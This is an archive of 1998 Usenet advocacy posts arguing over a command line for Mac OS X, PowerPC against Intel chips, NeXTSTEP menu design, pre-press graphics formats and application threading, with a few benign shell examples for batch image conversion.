Don't they get paid for support calls? Why does everyone make such a big
issue out of support calls? Besides, if MacOS X had a CLI there would be
lots of helpful USENET folks willing to lend a hand in answering posts
and writing FAQs and facilitating software.
> And for the class of user
> Apple is courting, why bother? After all, the programmers are going to get
> the development tools anyway and that will comprise 99% of all the people
> who would benefit by the CLI.
Why not get your userbase using more powerful tools, or attract a
userbase that already *uses* more powerful tools? At some point Apple is
going to have to stop settling for a static userbase and begin courting
the movers and shakers. Otherwise it may as well throw in the towel.
No offense is meant to present company. I think that your idea of a
graphical scripting/command environment within the desktop is
*precisely* the direction in which Apple should move.
MJP
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 12:22:32 GMT
Organization: The Ohio State University
Message-ID: <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net>
Kevin Stone <stone@stoneentertainment.com> wrote in article
<stone-1009980110020001@rc-pm3-1-24.enetis.net>...
>
> The new chips feature a 1.9 volt core. 3.3 volt i/o. If the 400MHz
> copper chip dissapates only 5.7 Watts max. then that's even better than
> Moto's new 366MHz chip which dissapates 6.5 Watts max. IBM stated in a
> recent press release about its upcoming SOI (Silicon on Insulator)
process
> that they hope to produce PowerPC G3 and G4 chips next year featuring 1
> volt cores. What Intel must be asking them selves right now is, "When
> does the hurting stop?". :)
>
Why would Intel be asking that when they sell 10 or more x86 chips for
every PPC chip? I would think that the shoe is on the other foot; IBM and
Motorola must be asking what they have to do to get any significant market
share.
-Steve
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 10 Sep 1998 05:58:19 GMT
Organization: KU
Message-ID: <53312E752E1C53AF.906ED2462A9E5569.5D6232F03A8B0AFD@library-proxy.airnews.net>
References: <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <2850C45CFA7C14CA.57F35E1B000A771D.A7C7D08CEF7C99C7@library-proxy.airnews.net> <goofin-0909981731490001@norln310mac15.colorado.edu>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Thu Sep 10 01:01:54 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 09 Sep 1998 17:31:49 -0600, goofin@work.com (BrTe) wrote:
>In article
><2850C45CFA7C14CA.57F35E1B000A771D.A7C7D08CEF7C99C7@library-proxy.airnews.net>,
>nhughes@sunflower.com (nate) wrote:
>
>> February of what year? I took it that you were commenting on early
>> 80s. If you want to change to late 80's we can do that too.
>
> Your fault for not knowing enough about the Supra... And it's a pretty
Like I keep the specs for automobiles somewhere in my house. Get
real.
>stupid copout even if it's a honest mistake. Like I said, Supras did not
>really exist as a seperate car line until 1987. It's like the Mustang
>Cobra or the Corvette Callaway, or the Shelby Contour, they are not
>seperate model lines.
Blah, blah, blah. Your strategy isn't working.
>
>
>> Int he meantime, GM is still building faster full-sized cars which
>> outperform your souped up escort and cost less.
>
> Not as far as I've seen in *any* test.
>
> Put up the numbers! An around $1200 PC (How much you can get the iMac
Anything with a celeron 400. If it costs you more than $1000, then
you paid too much. That isn't my fault.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu>
Message-ID: <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
Date: Thu, 10 Sep 1998 06:12:44 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 23:12:44 PDT
Organization: @Home Network
In <rmcassid-0909981511080001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <rmcassid-0809981048120001@hephaestus.eng.uci.edu> Robert Cassidy
wrote:
>
> >> No new code bases.
> >
> >Funny... new code is "revitalizing" the old code they own. Psion would
do
> >the same...
>
> Would it?
>
>
Yes.
> After Apple has MacOS and OpenStep, how much does Psion bring?
> We've already seen Apple have to strike a middle ground between MacOS and
> OpenStep with Carbon. Does Psion introduce 2 more [Psion/MacOS,
> Psion/OpenStep]?
>
> Or does Apple have enough now that they should simply rework their
> existing APIs to a more suitable foundation for a handheld or palmtop?
>
All these excellent points would be true were it not for the fact that
Psion's "Epoc" is an OS. Albeit, a smallish OS but its multi-tasking, PMT
(I think), and O-O to boot... MacOS X could run "on-top" or subsets there
of.
[snip all other points in agreement]
-r
From: Don Rife <rife45@earthlink.net>
Newsgroups: comp.sys.sinclair,comp.sys.palmtops.pilot,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.misc,comp.sys.mac.advocacy,comp.sys.laptops,comp.sys.ibm.pc.soundcard.tech,comp.sys.ibm.pc.hardware.chips,comp.sys.ibm.pc.hardware.video,comp.sys.ibm.pc.hardware.storage,comp.sys.ibm.pc.games.action,comp.sys.ibm.pc.games.flight-sim,comp.sys.ibm.pc.games.rpg,comp.sys.ibm.pc.games.strategic,comp.sys.amiga.misc,comp.periphs.scsi,comp.os.linux.advocacy,comp.os.linux.misc,comp.os.linux.setup,comp.lang.perl.misc,comp.lang.java.programmer,comp.lang.javascript,comp.lang.basic.visual.misc,comp.lang.c++,vmsnet.sources.games
Subject: Re: Homepage
Date: Wed, 09 Sep 1998 22:21:38 -0500
Organization: EarthLink Network, Inc.
Message-ID: <35F745C2.CA239208@earthlink.net>
References: <35F737D8.958A4BEF@netteens.com> <35F73AE9.FB041F33@earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
you just did
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35f62c8a.0@nnrp1.news.uk.psi.net> <35F6B42C.9AF02517@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35f6f644.0@nnrp1.news.uk.psi.net>
Date: 9 Sep 98 21:42:28 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
<snip>
>I'd advise them to instead put a minimize key on the keyboard. That
>would be a real, justifiable change. Or better yet, since everything
>seems to be lining up on the left for NeXT users, why not just put a big
>thick slab full of left-handed tools on the one side of every window? Or
>you could put a panner in the top left corner with a minimize button
>right next to it. Or you could make a great big pie menu with every
>windowing command _right there_ and make it accessible from any place on
>the left side of the window.
>
>All of these ideas have *some* technical merit, however small.
Ok, Ok - I guess I didn't make it clear enough that I meant technical merit
in comparison to the MacOS gui of the time (which was what I was writing about)
rather than absolute merit - yes pretty much anything has some sort of merit.
Sorry I didn't write clearly enough - I was trying so hard too...
Date: Wed, 09 Sep 1998 19:42:09 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Message-ID: <stevehix-0909981942130001@192.168.1.10>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pas teur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <6t40cb$jhc$1@cronkite.cs.umd.edu> <stevehix-0809982103520001@192.168.1.10> <6t6hff$h1j$4@cronkite.cs.umd.edu>
Organization: Close to None
In article <6t6hff$h1j$4@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
Luke) wrote:
> Steve Hix (stevehix@safemail.com) wrote:
> : In article <6t40cb$jhc$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
> : Luke) wrote:
>
> : > I can think of not one person working for NeXT who was on the original
> : > Mac/Lisa team.
>
> : Bud Tribble comes to mind.
>
> Touche! I forgot him.
>
> : I recall several people leaving Apple and appearing at NeXT
> : around the time it started out, IIRC most of them being Mac
> : alumni. (Dan'l Lewin...even though I think he was on the
> : marketing side. It's been a long time, I may misremember.)
>
> I think so too. Lots 'o people defected to NeXT, but certainly not the
> Mac team in general.
Not all of them by any means, but a pretty good sample, and some
of the more-prominent. (And some left for Sun about the same time.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net><B2187B86-2132B9@153.36.240.74><joe.ragosta-0609982205020001@elk66.dol.net><macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net><tapella-0709981610060001@22w2-1.dyn.pas teur.fr><macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net><tapella-0809981842340001@22w2-1.dyn.pasteur.fr><6t3q0p$13a61@odie.mcleod.net> Distribution: <6t40cb$jhc$1@cronkite.cs.umd.edu> <35f5924c.0@nnrp1.news.uk.psi.net> <6t6hcp$h1j$3@cronkite.cs.umd.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35f6ff9c.0@nnrp1.news.uk.psi.net>
Date: 9 Sep 98 22:22:20 GMT
seanl@cs.umd.edu (Sean Luke) wrote:
>Richard Frith-Macdonald (richard@brainstorm.co.uk.) wrote:
>: seanl@cs.umd.edu (Sean Luke) wrote:
>
>: >1) OpenStep menus are far more difficult to hit.
>
>: False - unless you are talking about your own personal difficulty of course.
>
>NeXTSTEP menus are an extraordinarily clear example of failure to consider
>Fitt's law.
Total rubbish - Fitt's law says that in general we want large buttons and small
mouse movements.
1. NeXTstep menus are (by default) a decent size on the screens for which the gui
is designed (and are in any case user definable by changing their font size).
2. As I pointed out earlier - the amount of mouse movement required to get to
items on a submenu is generally smaller with their layout - this depends on the
number of items in the submenu of course.
As for hitting the top-level menu - by default it's in the top-left of the
screen, where the mouse pointer stops - research shows that Fitts law does not
hold for this case - it's actually easier to hit things at the edge of the
screen than to hit things nearer your starting point somewhere in the middle.
>: >2) OpenStep submenus hang so they're aligned with the top of the main
>: > menu, a clearly inferior approach.
>
>: Hmm, you use 'inferior' to describe a layout that tends (on average) to make
>: items on the submenu closer and therefore easier to get to.
>: I'm afraid the 'clearly inferior approach' escapes me.
>
>Launch TeXView.app. Select the Zoom menu, and drag the mouse until you
>hit the Zoom (command-z) submenu item. Notice that you have to carefully
>drag to the right out of the narrow Zoom button, then once you're clear of
>the main menu, drag vertically until you hit the Zoom submenu item. There
>is no other path, and it's a long drag. It's especially fun when you're
>right-mouse-button-dragging.
Wrong! - I drag straight along the diagonal from the (it doesn't look narrow
on my system) zoom button to the zoom submenu item. The system doesn't try
to open any of the submenus corresponding to the buttons I pass over unless
I drag so slowly it thinks I've stopped on them.
>Okay, so you don't drag your menus, but click them one by one. You still
>have to move your mouse clear up to the top of the screen, and once again
>precisely hit the menu item (Fitt's law again).
1. Fitt's law is well known to be wrong in cases where you are going to
the edge of the screen.
2. The particular app used in your example is an extreme case, where the
designers have piled a lot into the main menu and have tiny submenus -
thus maximising mouse movement to hit submenu items. That's a poor app,
not a fault of the menu system.
In the more common case on NeXTstep you have a submenu with it's top item
at the top of the screen and it's bottom item somewhere below the menu
item that made it pop up. This means that some submenu items are directly
adjacent to your mouse pointer, while the others (at the top of the screen)
have the benefit of being easy to hit due to that screen boundary that
prevents overshoot.
>A much cleaner approach: the submenu should be centered around the submenu
>item that pops it up. This is a clear error in the NeXT menu approach,
>and it'd be wise to let it go.
>
>NeXTSTEP did so many things right, and has so many elegances in it, that I
>fail to see why some of us are so frightened of admitting that NeXT
>screwed up now and then.
The comparison was between NeXT and MacOS guis - Michelle L. Buck said
'My personal opinion is that the Openstep style vertical menus are far
superior to the Mac menus in every regard'
Now that doesn't mean that NeXTstep menus are perfect - I agree with your
idea that submenus centered around the item might work well, but that wasn't
what we were talking about.
However - now that we ARE talking about the 'perfect' menu system, I have to
say that I think that the issue of
submenus-at-top-of-screen v submenus-centered-round-menu-item
probably can't be decided without practical research.
The centered version is optimal for shortest distance for mouse to move.
The top version is optimal for rapid movement to the first few items on
the submenu and is (application designer permitting) very good for short
mouse movements to other items.
One thing's for sure - both are better than the
submenus-pull-down-from-menu-item system.
From: keyes@chem.bu.edu (Tom Keyes)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 09:13:38 -0400
Organization: Boston University Chemistry Dept.
Message-ID: <keyes-ya02408000R1009980913380001@news>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
In article <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Kevin Stone <stone@stoneentertainment.com> wrote in article
> <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
> What Intel must be asking them selves right now is, "When
> > does the hurting stop?". :)
> >
> Why would Intel be asking that when they sell 10 or more x86 chips for
> every PPC chip?
Because it's not where you are now but where you're headed that matters.
Intel has been on top for some time but their position is starting to look
shaky, especially with the merced fiasco and the advances in PPC.
--
Tom Keyes, Theoretical/Computational Chemist
Chemistry Department, Boston University, Boston MA 02215
http://chem.bu.edu/~keyes
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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Cc: english@primenet.com
Organization: none
References: <Ez1E2r.3yC@T-FCN.Net> <B21C5E7D-15DB77@206.165.43.114>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 00:07:33 GMT
In <B21C5E7D-15DB77@206.165.43.114> "Lawson English" wrote:
> > graphics. Are you claiming that PS manipulation is going to be able to
> > handle the needs of such pre-press?
>
> No, I'll let Adobe's release of PostScript Extreme make that claim for
> me.
> It's for precisely this use that they invented it.
I was referring to pre-press use in general.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez1KE0.7op@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <Ez1CD1.2ro@T-FCN.Net> <B21C5543-13B08B@206.165.43.114>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 00:08:23 GMT
In <B21C5543-13B08B@206.165.43.114> "Lawson English" wrote:
> You asked me to define "transparency" as applied to computer graphics and
> printing as opposed to "non-opaque" in the same context. I tried to make
> the distinction clear.
And you did, thank you.
> How's that a "point" that is too early to be discussed?
Whether or not this will be available under MacOS-X.
Maury
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 13:37:48 GMT
Organization: The Ohio State University
Message-ID: <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news>
Tom Keyes <keyes@chem.bu.edu> wrote in article
<keyes-ya02408000R1009980913380001@news>...
> In article <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>,
> "Steve" <nospam@nospam!.kom> wrote:
>
> > Kevin Stone <stone@stoneentertainment.com> wrote in article
> > <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
> > What Intel must be asking them selves right now is, "When
> > > does the hurting stop?". :)
> > >
> > Why would Intel be asking that when they sell 10 or more x86 chips for
> > every PPC chip?
>
> Because it's not where you are now but where you're headed that matters.
> Intel has been on top for some time but their position is starting to
look
> shaky, especially with the merced fiasco and the advances in PPC.
>
I don't think that Merced can be called a "fiasco" yet. It's delayed of
course, but nobody really knows how good it (and the following series of
processors) will be when it/they finally come out. If it's as good as
Intel and HP claim, the PPC will be blown away. On the other hand, it
could be a total failure. My guess is it will be a good processor, but
will take a number of years to realize its full potential. If it was only
Intel working on IA-64, I might be a little more pessimistic. However, I
think that HP's knowledge and expertise should be a big help (If you think
the G3 has good performance considering its processor speed, check out the
PA-RISC running at only 236 Mhz).
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 9 Sep 1998 17:20:47 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t767s$4gv$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com>
Michael Peck wrote in message <35F5888B.AE0C62FB@ericsson.com>...
>> Maybe you could give me an example of
>> a CLI based application that is better than the equivalent GUI based
>> application.
>
>I'm using SWIG to create Perl interfaces to C/C++ programs. From any
>Unix or Windows operating system, I type the following:
>
>> swig -perl interface.i
>
>Pretty simple. In MacOS, however, you have to start the GUI interface,
>push a lot of buttons to choose input file, output file, language,
>documentation type, module name, type of code generation, etc., and
>eventually quit manually. Much slower.
I won't argue the inherent superiority of GUI applications over
CLI applications, as I use both and realize both have their
strengths and weaknesses. However, I will note that if you have to
"start the GUI interface, push a lot of buttons, etc., etc.",
you're using a poorly written application: a well written one would
only require you to double-click the file labeled "interface.i":
one step, and it wouldn't require you to memorize a whole list of
obscure command line arguments.
- Bill Woody
The PandaWave http://www.pandawave.com/
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 9 Sep 1998 17:25:18 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t76ga$4vm$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com>
Michael Peck wrote in message <35F59780.F2B41779@ericsson.com>...
>> Step 2, edit foo to invoke the Image Magick "convert" for each file
>>
>> $ vi foo
>>
>> For the curious, I did two substitutions:
>>
>> 1,$s/.*/convert & &z/
>> 1,$s/gifz/jpg/
>
>It's a bit faster just to do something like this (this is /bin/tcsh):
>
>$ foreach file (*.gif)
>$ foreach? convert $file `echo $file | sed 's/\.gif/\.jpg/g'`
>$ foreach? end
>
>This way you work totally in the shell and avoid the use of intermediary
>files or vi. It sort of wraps all the steps up, too.
I think this illustrates both a strength and weakness of a CLI-
style environment: while this is certainly faster, it is also a
hell of a lot more intimidating to the novice.
Personally one thing I'm personally looking forwards to with
the hosting of the MacOS API and/or YB on top of a Unix style
environment is the ability to launch CLI applications from the
C 'system()' command: this makes it possible to write GUI
plugins as simple CLI applications, which are a hell of a lot
easier to develop than MacOS system extensions or code resources.
That way, I can issue commands like the above from a less
intimidating GUI shell for the Rest Of Us.
- Bill Woody
The PandaWave
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 00:26:27 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t76bj$hrb$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com>
<heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com>
<heaney-0909981627150001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: > I would certainly hope that a specialized application would beat the
: > shell. The point is that the shell is not speicalized for image
: > conversion. Tomorrow the same technique could be used to convert a series
: > of man pages to html, or to unload and filter a database. In a GUI-only
: > environment, a user would have to go down to the store and buy a new app
: > for man page or database conversion.
: But you're basing this on today's GUIs. If there were a scripting language
: like Prograph built-in to the operating system, the way the shell is in
: unix, then you would be able to do the kinds of transformations you're
: talking about. The GUI is not mature. I think it might be just past the
: terrible twos.
The amazing thing is that we are talking about removing features of the
OS which are:
- done
- paid for
- industry standards
- useful to at least some of us
Why exactly? Because (as someone said a while back) an unsuspecting user
might find the hidden CLI and be struck blind? Because we might launch a
new effort to recreate the functionality of the CLI in a new GUI based
system?
I'm sorry, but the whole thing still strikes me as political correctness,
or worse, an attempt to target the Mac at low-end users.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 17:30:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C6BB0-18F561@206.165.43.114>
References: <Ez1KCM.7nG@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C5E7D-15DB77@206.165.43.114> "Lawson English" wrote:
[snipt reference to 3D transform goes here]
>> > graphics. Are you claiming that PS manipulation is going to be able to
>> > handle the needs of such pre-press?
>>
>> No, I'll let Adobe's release of PostScript Extreme make that claim for
>> me.
>> It's for precisely this use that they invented it.
>
> I was referring to pre-press use in general.
Um, does the term "spin-doctoring" mean anything to you?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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References: <Ez1CD1.2ro@T-FCN.Net> <B21C5765-1430C5@206.165.43.114>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 00:27:46 GMT
In <B21C5765-1430C5@206.165.43.114> "Lawson English" wrote:
> You asserted that I hadn't proved that there was any advantage to
> shape-based pre-press over direct manipulation of PostScript and gave your
> HyperCard-based PS stack as an example of something that could do
> everything that I had talked about.
No I didn't Lawson, and if I implied that I applogize. I was using the HC
stack as an example of pre-processing PS on the way to the printer _period_.
> > Maybe, if you can demonstrate that there's any difference. But as I
> > have noted on countless occasions I worked on a project that manipulated
> > shape in PS files using HC in 1990. You again have no point.
> OK, but how would this work with your HyperCard stack that provided access
> to raw PS? MY HyperCard stack uses the shape-based facilities of GX to
> accomplish this. You want to use XML. Fine.
Good.
> The comparison back then would have been to PostScript vs GX. XML didn't
> exist, as far as I know. Shape-based pre-press based on NeXTStep graphics
> wasn't a blip on the horizon, either.
So it's outdated. What else is new.
> You keep on accusing me of having no point. Are you interested in
> discussing the virtues, pros and cons of various ways of accomplishing
> pre-press tasks, and perhaps brainstorming how they might be improved using
> a shape-based solution, or are you merely interested in sniping at me,
> claiming that I have no point, regardless of what I say or do?
Oh, this is good.
Lawson, it's _you_ that absolutely refuses to discuss the pros and cons,
because for over a year now the ONLY pro has been GX and all cons have been
"anything else". We have poured out megabytes dismissing claim after
outlandingsh claim about how the system could not do this, or could not do
that (unified Hangul for instance).
You've _refused_ to learn even the most basic portions of the OpenStep
system, even though you can download the docs for free. Time after time it's
been one feature after another that's been impossible, that turns out to be a
few lines of code, like todays for instance. Every time it's the same answer
over and over, it can't possibly be as good because...
So now it's file formats. Yet there's no argument here. I want XML. You
haven't argued this. So I'd say that means you have no point.
> It truely appears to be an either/or proposition with you
Har!
> Yet Another Snipe At Lawson (tm).
Everyone: pity party for Lawson, awwwwwwwww.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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<6t71n4$nba$1@nnrp1.dejanews.com>
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Date: Thu, 10 Sep 1998 00:38:50 GMT
In <6t71n4$nba$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> If Apple picked a kernel that excludes behaviour which people want
Whoa, that's been my point all along. I don't think people want _this_
behaviour, and that you're confusing implementation with the behaviour. I
stand by my earlier comment, I think 90% of this functionality can be offered
with minor changes and no threads.
> then Apple
> should reconsider it's decision to use that kernel.
With 10 months left before release?
> But I don't see any threading limitations imposed by
> the Mach kernal.
I think this illustates the problem, you would almost certainly not want
to implement this with the kernel even knowing about it - it would almost
certainly
> > Urrrr, I think most people in the know are laughing at that statement.
>
> Please enlighten me.
Not in public, sorry.
> > Threading your window wouldn't solve this problem either.
>
> Why not?
Because you'd also have to spool off the save code from the "main loop".
OpenStep helps here, but is slowing down a whole OS for a 3GB file save case
a real good tradeoff?
> BeOS applications do not have this behavior. While saving a huge document,
you
> can still manipulate any other document in that application.
I'm not sure "Be does it this way" is a very strong argument for the same
behaviour on the MacOS-X. Certainly the performance and usability of the
BeOS hasn't translated into any userbase of note.
The issue again is how much we really need to get "good enough". I don't
think it's nearly the same as you do.
> > that Apple has other issues to deal with. If they can make the front
window
> > stop "freezing" when I hold down the mouse on the scorll bar, that will
go a
> > very long way to making me happy.
>
> Then you desire that Apple add less capability than the BeOS already has.
So? Is this bad? Does working printing and networking make up for it? I
think so.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 17:44:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C6F3A-19CA6E@206.165.43.114>
References: <Ez1KE0.7op@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C5543-13B08B@206.165.43.114> "Lawson English" wrote:
>> You asked me to define "transparency" as applied to computer graphics
and
>> printing as opposed to "non-opaque" in the same context. I tried to make
>> the distinction clear.
>
> And you did, thank you.
>
>> How's that a "point" that is too early to be discussed?
>
> Whether or not this will be available under MacOS-X.
